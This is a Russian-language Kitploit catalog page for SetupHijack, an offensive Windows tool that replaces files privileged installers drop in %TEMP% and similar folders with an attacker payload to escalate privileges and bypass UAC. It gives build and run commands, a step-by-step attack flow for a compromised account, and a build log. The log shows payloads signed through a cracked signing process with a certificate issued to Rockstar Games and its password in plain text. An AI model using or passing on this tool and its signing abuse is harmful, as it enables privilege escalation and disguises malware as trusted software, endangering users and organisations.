Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
SetupHijack — SetupHijack - это инструмент для исследования безопасности, который использует состояния гонки и небезопасную обработку файлов в установщиках и процессах обновления приложений Windows. | Kitploit
Инструменты/GitHubGitHub/hackerhouse-opensource/setuphijack
Повышение привилегийГенерация полезной нагрузкиЭксплуатацияЛатеральное перемещениеТестирование на ПроникновениеRed Teaming
GitHubhackerhouse-opensource/setuphijack

SetupHijack

SetupHijack - это инструмент для исследования безопасности, который использует состояния гонки и небезопасную обработку файлов в установщиках и процессах обновления приложений Windows.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
26429148 месяцев назадПроверено Kitploit

SetupHijack


Обзор

SetupHijack — это инструмент для исследования безопасности, который использует состояния гонки и небезопасную обработку файлов в процессах установки и обновления Windows. Он нацелен на сценарии, где привилегированные установщики или обновляющие программы помещают файлы в %TEMP% или другие общедоступные для записи расположения, что позволяет злоумышленнику заменить эти файлы до их выполнения с повышенными привилегиями.

  • Не требует повышенных разрешений для запуска.
  • Не использует уведомления файловой системы (вместо этого опрашивает изменения).
  • Использует слабые места в подписи кода Authenticode и моделях доверия установщиков.
  • Может заражать .exe, .msi и пакетные файлы (например, sysinfo, netstat, ipconfig).
  • Предназначен только для использования красными командами, тестирования на проникновение и исследований в области безопасности.

Предполагаемое использование этого инструмента — запуск в фоновом режиме на скомпрометированной учетной записи пользователя с привилегиями, чтобы повысить привилегии другого процесса путем перехвата сбрасываемых файлов установщиков/обновляющих программ.

На диаграмме ниже показаны примеры использования этой уязвимости в реальных сценариях, которые могут быть использованы для обхода UAC. Обход UAC считается границей безопасности при работе под Adminless и является распространённым "требованием злоумышленника" для отключения средств безопасности. Использование привилегированных операций администратора обеспечивает общий доступ для вредоносного кода к боковой загрузке или повышению привилегий процессов. Этот инструмент может использоваться для идентификации дополнительных приложений, подверженных таким же типам риска; злоумышленник может дождаться выполнения этих процессов как средства получения повышенных прав без нарушения поведения пользователей.

Диаграмма выявления уязвимостей SetupHijack

Как это работает

  1. SetupHijack непрерывно сканирует %TEMP% (и подкаталоги) на наличие новых или изменённых файлов установщиков.
  2. Когда целевой файл обнаружен, он заменяется на предоставленную пользователем полезную нагрузку (EXE, MSI или BAT), с возможностью сохранения оригинала в виде файла .bak.
  3. Если привилегированный процесс выполняет заменённый файл до проверок целостности, полезная нагрузка запускается с повышенными правами (например, SYSTEM или Администратор).
  4. Инструмент регистрирует все действия и ведёт список пропусков, чтобы избежать повторного заражения тех же файлов.

Примечание о подписи кода

В этом проекте используется взломанный процесс подписи кода с SignToolEx.exe и SignToolExHook.dll для подписи полезных нагрузок и установщиков. Использование действительных сертификатов подписи кода и метки времени Authenticode повысит ваш процент успеха при обходе проверок доверия установщика и ОС.


Использование

Сборка```sh

nmake PAYLOAD=c:\Path\to\your\payload.exe

### Запуск (опции)```sh
SetupHijack.exe                  # Scan %TEMP%, %APPDATA%, and %USERPROFILE%\Downloads (default)
SetupHijack.exe -notemp          # Disable scanning %TEMP%
SetupHijack.exe -noappdata       # Disable scanning %APPDATA%
SetupHijack.exe -nodownloads     # Disable scanning %USERPROFILE%\Downloads
SetupHijack.exe clean            # Clean mode (restores .bak backups in all enabled locations)
SetupHijack.exe verbose          # Verbose mode (log all actions)
SetupHijack.exe <payload.exe>    # Use specified payload for .exe (unless argument is a recognized option)
  • Запустите SetupHijack.exe до или во время привилегированной установки/обновления.
  • По умолчанию инструмент сканирует все распространённые места для сброса: %TEMP%, %APPDATA% и %USERPROFILE%\Downloads.
  • Вы можете отключить любое местоположение с помощью флагов -notemp, -noappdata или -nodownloads.
  • Флаг clean восстанавливает резервные копии во всех включенных местоположениях. Флаг verbose регистрирует все действия.
  • Для удаленного повышения привилегий используйте вместе с shadow.exe или аналогичными инструментами в службах терминалов.

Пример потока атаки

  1. Соберите полезную нагрузку и SetupHijack: ```sh nmake PAYLOAD=c:\Users\YourUser\Desktop\payload.exe
  2. Запуск SetupHijack: ```sh SetupHijack.exe
  3. Запустите целевой установщик или процесс обновления от имени администратора.
  4. Если установщик помещает файлы в %TEMP% и запускает их с повышенными правами, ваша полезная нагрузка будет подставлена и выполнена.

Пример вывода

Ниже приведен реальный пример сборки и запуска SetupHijack, включая подпись кода и результат заражения:``` C:\Users\Fantastic\Desktop\Sayuri\InfectElevatedSetups>nmake PAYLOAD="C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe"

Microsoft (R) Program Maintenance Utility Version 14.29.30159.0 Copyright (C) Microsoft Corporation. All rights reserved.

    powershell -Command "(Get-Content SetupHijack.cpp) -replace '#define PAYLOAD_PATH L\".*\"', '#define PAYLOAD_PATH L\"%ESCAPED_PAYLOAD%\"' | Set-Content SetupHijack.cpp"
    cl /nologo /W4 /EHsc /DUNICODE /D_UNICODE /MT /O2 /c SetupHijack.cpp

SetupHijack.cpp SetupHijack.cpp(318): warning C4189: 'hr2': local variable is initialized but not referenced taskkill /f /im SetupHijack.exe 2>nul powershell -Command "Start-Sleep -Milliseconds 500" link /nologo /SUBSYSTEM:CONSOLE /ENTRY:wmainCRTStartup /NODEFAULTLIB:MSVCRT /NODEFAULTLIB:MSVCPRT /OUT:SetupHijack.exe SetupHijack.obj kernel32.lib user32.lib shlwapi.lib Shell32.lib /MANIFEST /MANIFESTFILE:SetupHijack.exe.manifest copy /y install.wxs.template install.wxs 1 file(s) copied. powershell -Command "(Get-Content install.wxs) -replace 'Source="PAYLOAD_PLACEHOLDER"', 'Source="%ESCAPED_PAYLOAD%"' | Set-Content install.wxs" wix build install.wxs -o install.msi Generating install.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe Generating launch_payload.bat with payload C:\USers\Fantastic\Desktop\DEMO\Renge_x64.exe powershell -Command "(Get-Content install.wxs) -replace '(<File Id="RengeExeFile" Source=").*?(" KeyPath="yes"/>)', '%ESCAPED_PAYLOAD%' | Set-Content install.wxs" call sign_random.bat Using CERT: [certs\rockstar1.pfx] Using PASS: [C!EZxYUxVGPzQDj3] The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6

Done Adding Additional Store Successfully signed: SetupHijack.exe

Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0 The following certificate was selected: Issued to: Rockstar Games, Inc. Issued by: Entrust Code Signing CA - OVCS1 Expires: Thu Mar 20 17:16:13 3000 SHA1 hash: C9793F4A2E629D88F2213622D7A0C170D9C7CBC6

Done Adding Additional Store Successfully signed: install.msi

Number of files successfully Signed: 1 Number of warnings: 0 Number of errors: 0

Скачать инструмент